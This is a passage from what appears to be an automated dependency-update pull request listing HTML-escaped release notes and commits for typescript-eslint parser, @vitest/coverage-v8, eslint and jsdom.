(2026-10-19)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e lazy load rules (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13010\"\u003e#13010\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [await-thenable] add \u003ccode\u003eallowMixedPromiseArrays\u003c/code\u003e option (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12992\"\u003e#12992\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e error on abstract keyword that precedes export (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13019\"\u003e#13019\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003east-spec:\u003c/strong\u003e add \u003ccode\u003eJSXFragment\u003c/code\u003e to \u003ccode\u003eJSXAttribute['value']\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13051\"\u003e#13051\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [prefer-readonly-parameter-types] check where allowed type aliases are declared (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13016\"\u003e#13016\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-deprecated] report deprecated properties in object literals (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12704\"\u003e#12704\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e use isTypeLiteralType instead of type.isLiteral() to include bigint literals on TS \u0026lt; 5.0 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13053\"\u003e#13053\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] check tuples (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13058\"\u003e#13058\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] ignore extra this type argument on TS \u0026lt; 5.1 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13055\"\u003e#13055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etype-utils:\u003c/strong\u003e discriminateAnyType crashes when calling getAwaitedType on awaited type in TS \u0026lt; 5.0 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13054\"\u003e#13054\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e include leading and trailing comments \u0026amp; whitespace in Program range (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12991\"\u003e#12991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eJunichiro Kasuya \u003ca href=\"https://github.com/jksy\"\u003e\u003ccode\u003e@​jksy\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMitch Fultz \u003ca href=\"https://github.com/fitchmultz\"\u003e\u003ccode\u003e@​fitchmultz\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eShaan GS \u003ca href=\"https://github.com/ShaanGS\"\u003e\u003ccode\u003e@​ShaanGS\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.72.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/parser/CHANGELOG.md\"\u003e@​typescript-eslint/parser's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.72.0 (2026-10-19)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for parser to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.72.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/a4c2603d3e4fd43b33bc25b82457716e9f7cef71\"\u003e\u003ccode\u003ea4c2603\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.72.0\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.72.0/packages/parser\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@vitest/coverage-v8` from 5.0.4 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003e@​vitest/coverage-v8's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/coverage-v8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint` from 10.12.0 to 10.13.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint/eslint/releases\"\u003eeslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.13.0\u003c/h2\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/48d5cc47e43478670ccf95a74f7a73e8408152b5\"\u003e\u003ccode\u003e48d5cc4\u003c/code\u003e\u003c/a\u003e feat: report references inside IIFEs in \u003ccode\u003eno-use-before-define\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21238\"\u003e#21238\u003c/a\u003e) (Irfan fandi)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a39d9fb1fdb5db546f6407580cac531ba3370450\"\u003e\u003ccode\u003ea39d9fb\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003eglobalThis\u003c/code\u003e to \u003ccode\u003eno-obj-calls\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21382\"\u003e#21382\u003c/a\u003e) (synthex-byte)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/66ac58383e076940c11a5d7213ad079028d1140e\"\u003e\u003ccode\u003e66ac583\u003c/code\u003e\u003c/a\u003e feat: check \u003ccode\u003eyield*\u003c/code\u003e expressions in \u003ccode\u003eno-unsafe-optional-chaining\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21399\"\u003e#21399\u003c/a\u003e) (xbinaryx)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/87bd2cef7b2309739c29598fb2be335f4bed71a3\"\u003e\u003ccode\u003e87bd2ce\u003c/code\u003e\u003c/a\u003e fix: avoid redeclared \u003ccode\u003elet\u003c/code\u003e when \u003ccode\u003eno-var\u003c/code\u003e and \u003ccode\u003eone-var\u003c/code\u003e fix together (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21389\"\u003e#21389\u003c/a\u003e) (Daniel Pinto)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4783a6806fb73ea4843ac46c6ae3d8285f56c288\"\u003e\u003ccode\u003e4783a68\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/43f0ac90e7858a834a0e68309e6397fb4cfa72dd\"\u003e\u003ccode\u003e43f0ac9\u003c/code\u003e\u003c/a\u003e docs: clarify parameter description in \u003ccode\u003egetText\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21287\"\u003e#21287\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChores\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b59d889c7c18d8c73144e6ba46e9e7f3e7da0196\"\u003e\u003ccode\u003eb59d889\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.3 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21412\"\u003e#21412\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/95e51a0518b15015304eca9844b3f64c1fc167ca\"\u003e\u003ccode\u003e95e51a0\u003c/code\u003e\u003c/a\u003e ci: re-enable \u003ccode\u003e@typescript-eslint/typescript-eslint\u003c/code\u003e in ecosystem tests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21410\"\u003e#21410\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/317fcb365f19e912a60d171a9d5a8d1f16fe4660\"\u003e\u003ccode\u003e317fcb3\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21409\"\u003e#21409\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b92decf8ead7cc4082a18a4a0ab28f3c7c589887\"\u003e\u003ccode\u003eb92decf\u003c/code\u003e\u003c/a\u003e perf: skip no-redeclare scan for single-declaration variables (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21365\"\u003e#21365\u003c/a\u003e) (James Ross)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/47b7063b3f3f7bc7a5bcb87c082577e4e8b96e24\"\u003e\u003ccode\u003e47b7063\u003c/code\u003e\u003c/a\u003e chore: update dependency \u003ccode\u003e@​eslint/json\u003c/code\u003e to ^2.1.1 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21398\"\u003e#21398\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/e5aea414cc00555ecd43f6e608bf80e0f9a6d4d6\"\u003e\u003ccode\u003ee5aea41\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21390\"\u003e#21390\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4637f9827a1ba137498eaee70957850621082815\"\u003e\u003ccode\u003e4637f98\u003c/code\u003e\u003c/a\u003e 10.13.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/96df05ceb7000813859acf16a690f8a8bbbea904\"\u003e\u003ccode\u003e96df05c\u003c/code\u003e\u003c/a\u003e Build: changelog update for 10.13.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4783a6806fb73ea4843ac46c6ae3d8285f56c288\"\u003e\u003ccode\u003e4783a68\u003c/code\u003e\u003c/a\u003e docs: Update README\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b59d889c7c18d8c73144e6ba46e9e7f3e7da0196\"\u003e\u003ccode\u003eb59d889\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.3 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21412\"\u003e#21412\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/95e51a0518b15015304eca9844b3f64c1fc167ca\"\u003e\u003ccode\u003e95e51a0\u003c/code\u003e\u003c/a\u003e ci: re-enable \u003ccode\u003e@typescript-eslint/typescript-eslint\u003c/code\u003e in ecosystem tests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21410\"\u003e#21410\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/317fcb365f19e912a60d171a9d5a8d1f16fe4660\"\u003e\u003ccode\u003e317fcb3\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21409\"\u003e#21409\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/48d5cc47e43478670ccf95a74f7a73e8408152b5\"\u003e\u003ccode\u003e48d5cc4\u003c/code\u003e\u003c/a\u003e feat: report references inside IIFEs in \u003ccode\u003eno-use-before-define\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21238\"\u003e#21238\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/43f0ac90e7858a834a0e68309e6397fb4cfa72dd\"\u003e\u003ccode\u003e43f0ac9\u003c/code\u003e\u003c/a\u003e docs: clarify parameter description in \u003ccode\u003egetText\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21287\"\u003e#21287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a39d9fb1fdb5db546f6407580cac531ba3370450\"\u003e\u003ccode\u003ea39d9fb\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003eglobalThis\u003c/code\u003e to \u003ccode\u003eno-obj-calls\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21382\"\u003e#21382\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b92decf8ead7cc4082a18a4a0ab28f3c7c589887\"\u003e\u003ccode\u003eb92decf\u003c/code\u003e\u003c/a\u003e perf: skip no-redeclare scan for single-declaration variables (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21365\"\u003e#21365\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/eslint/eslint/compare/v10.12.0...v10.13.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `jsdom` from 30.1.2 to 30.1.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jsdom/jsdom/releases\"\u003ejsdom's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev30.1.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved performance of \u003ccode\u003egetComputedStyle()\u003c/code\u003e and computed CSS property reads, including with stylesheets containing attribute selectors. (\u003ca href=\"https://github.com/scttcper\"\u003e\u003ccode\u003e@​scttcper\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/asamuzaK\"\u003e\u003ccode\u003e@​asamuzaK\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed slowdowns when focusing elements and running interaction tests, which regressed in v30.1.2. (\u003ca href=\"https://github.com/scttcper\"\u003e\u003ccode\u003e@​scttcper\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eXMLHttpRequest\u003c/code\u003e reusing credentials supplied to \u003ccode\u003exhr.open()\u003c/code\u003e after cross-origin redirects, including in response to authentication challenges from the destination.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eXMLHttpRequest\u003c/code\u003e incorrectly sending and accepting cookies after cross-origin redirects back to the document's origin when \u003ccode\u003exhr.withCredentials\u003c/code\u003e is false.\u003c/li\u003e\n\u003cli\u003eFixed exceptions from malformed CSS math functions, such as \u003ccode\u003ecalc(0px - @submenu_space)\u003c/code\u003e, while parsing documents, stylesheets, and style declarations. (\u003ca href=\"https://github.com/rnavarro\"\u003e\u003ccode\u003e@​rnavarro\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003egetComputedStyle()\u003c/code\u003e ignoring style rules nested inside multiple \u003ccode\u003e@media\u003c/code\u003e rules.\u003c/li\u003e\n\u003cli\u003eFixed CSS shorthands overwriting longhands with higher priority or specificity during style computation, including declarations containing CSS variables.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003egetComputedStyle()\u003c/code\u003e returning unresolved or inconsistent shorthand values, including for 'background', 'border', 'flex', 'font', 'margin', and 'padding', and incorrect shorthand defaults and inheritance.\u003c/li\u003e\n\u003cli\u003eFixed computed background positions to resolve font-relative lengths using the final font size and handle multiple image layers correctly.\u003c/li\u003e\n\u003cli\u003eFixed computed 'color' values depending on property read order, including unresolved \u003ccode\u003ecolor-mix()\u003c/code\u003e results, which regressed in v29.0.2.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003ecurrentcolor\u003c/code\u003e border colors incorrectly becoming transparent when 'color' uses \u003ccode\u003elight-dark()\u003c/code\u003e or relative color syntax.\u003c/li\u003e\n\u003cli\u003eFixed CSS calculations that reduce to a percentage incorrectly producing pixel values, which regressed in v30.0.0.\u003c/li\u003e\n\u003cli\u003eFixed numeric font weights in the 'font' shorthand incorrectly setting 'line-height'.\u003c/li\u003e\n\u003cli\u003eFixed selector matching involving XML namespaces, and selectors such as \u003ccode\u003e[data-a|=\u0026quot;\u0026quot;]\u003c/code\u003e failing to match empty values and values beginning with \u003ccode\u003e-\u003c/code\u003e. (\u003ca 